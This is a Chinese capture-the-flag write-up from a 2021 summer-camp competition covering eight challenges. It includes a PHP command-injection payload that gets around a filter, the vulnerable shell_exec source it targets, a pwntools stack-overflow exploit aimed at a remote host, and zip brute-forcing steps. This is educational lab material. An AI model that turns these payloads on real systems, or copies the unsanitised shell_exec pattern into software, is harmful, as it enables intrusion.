Contents

2021联盟暑期学校暨方滨兴院士班夏令营CTF竞赛WriteUp

0x00 ping

很明显的命令执行,输入url/?ip=127.0.0.1|ls,可以观察到存在可以的文件。

空格和flag无法传入,这里先绕过空格读一下源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
	if(isset($_GET['ip'])){
		$ip = $_GET['ip'];
		if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
			print_r($match);
			print($ip);
			echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
			die("ban symbol!");
		}
		else if(preg_match("/ /", $ip)){
			die("ban space!");
		}
		else if(preg_match("/bash/", $ip)){
			die("ban bash!");
		}
		else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
			die("ban flag!");
		}
		$a = shell_exec("ping -c 4 ".$ip);
		echo "<pre>";
		print_r($a);
	}

	?>

构造变量a来替代g,输入127.0.0.1;a=g;cat$IFS$1fla$a.php,拿到flag。

0x01 hidehight

用010editor打开发现有压缩包,上binwalk,然后foremost分离

拿出压缩包后,使用工具爆破。

成功解开压缩包,用010editor发现flag。

0x02 easyusb

先过滤出来usb.capdata != 00:00:00:00:00:00:00:00,怀疑这是键盘键入的值。

提取一下s1=[’s’,‘S’],s2=[’e’,‘E’],s3=[‘c’,‘C’],s4=[‘2’,’@’],s5=[’e’,‘E’],s6=[’t’,‘T’],s7=[‘k’,‘K’],s8=[‘3’,’#’],s9=[‘y’,‘Y’]。在线生成一个字典。

爆破,得到正确的密码。

解压文件。

0x03 置换密码

题目给出了加密的过程,反着写解密的过程。

text = 'ilhstlneoTR{N5A05PT11NC0PH1R}3'

key = [3,1,2]

li0 = []
li1 = []
li2 = []
for i in range(0,len(text)):
    if i % 3 == 0:
        li2.append(text[i])
    elif (i - 1) % 3 == 0:
        li0.append(text[i])
    elif (i - 2) % 3 == 0:
        li1.append(text[i])
li = []
for i in range(len(li1)):
    li.append(li1[i])
    li.append(li2[i])
    li.append(li0[i])

print("The ciphered text is :")
ciphered_txt = (''.join(li))
print(ciphered_txt)

0x04 Easystack

题目明示栈溢出

下面贴出官方给的代码,当时比赛时太紧张地址掉了0x,直接白给。。。

from pwn import * 
context(os="linux",arch="amd64",log_level="debug") 
p = remote("81.70.89.91",57001) 
addr = 0x0000000000400729 
payload = b"A"*104+p64(addr) 
p.sendline(payload) 
p.interactive() 

0x05 神奇的网站

这题没做出来,赛后复现一下。

追踪流,在tcp.stream eq 3时发现一个可疑的压缩包。

过滤出来

导出分组字节流

解压出来一个flag文件

16进制打开看一哈,发现文件结尾是KP,结合TENET想到倒放,但不会操作。

看一下图片,感觉不太正常,丢到pngcheck里面过一遍,chunk块儿有问题。

这里用官方给的一个脚本。

<?php  
$a = file_get_contents('flag'); 
file_put_contents("flag.zip",strrev($a));?> 

得到压缩包,可以看到有wav的音频文件,需要解个密。

图片的宽度异常,只有0001

这里随便改大就好

然后会惊奇地发现!

解压后是一段音频,听着太鬼畜了。。。,感觉也是倒放。移动到audacity,效果选择反向,可以了,是碳基生物的音乐了。然后使用网易云识别。

原理上最后应该是

复现的时候已经没了,不过偶然发现了另一个flag,hhh

0x06 Java_app

这题也没做出来,复现下,先拖到雷电模拟器里面瞅瞅。是一个登录页面,随便试了试,感觉没什么有用信息。

把apk放到jeb里面反汇编,头一次用这个软件,不得不说,确实牛批。找到MainActivity,点击查看,可以发现是smali写的,按下Tab键,转成java代码。

发现一行关键代码,是匹配用户名密码是否正确的,可以看出用户名是sllenc3

1
if((MainActivity.this.et_username.getText().toString().equals("s1lenc3")) && (MainActivity.this.c.b(MainActivity.this.et_password.getText().toString()).equals("yGlszHNUzWZl2UIU0W8WNFdSMXBsNGNl/V5hwmRlI6FTyD5u0UgRL+FZ+/U")))

而密码则经过了check函数的校验,与后面那串字符串匹配。

后面的字符串包含[A-Za-z0-9+/],应该和base64有关,据说是逆向中会常常碰到的base64换表加密,找一下加密后的base64表。

用python脚本跑一下,注意加密的str1要补全padding

import base64
import string

#要解密的代码
str1 = "yGlszHNUzWZl2UIU0W8WNFdSMXBsNGNl/V5hwmRlI6FTyD5u0UgRL+FZ+/U="
#改过之后的base64表
string1 = "ABCDEFGHIJKLMNOP456789+/wxyz0123ghijklmnopqrstuvQRSTUVWXYZabcdef"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))

出来结果

0x07 总结

菜是原罪,好几题有思路但做不出来QAQ,基本功不扎实,还要多学多练。感谢室友们,头一次组队打CTF,团队配合得非常nice,虽然都被dalao们按着锤了,但是没有关系,挺开心的,也蛮累的,不错的体验。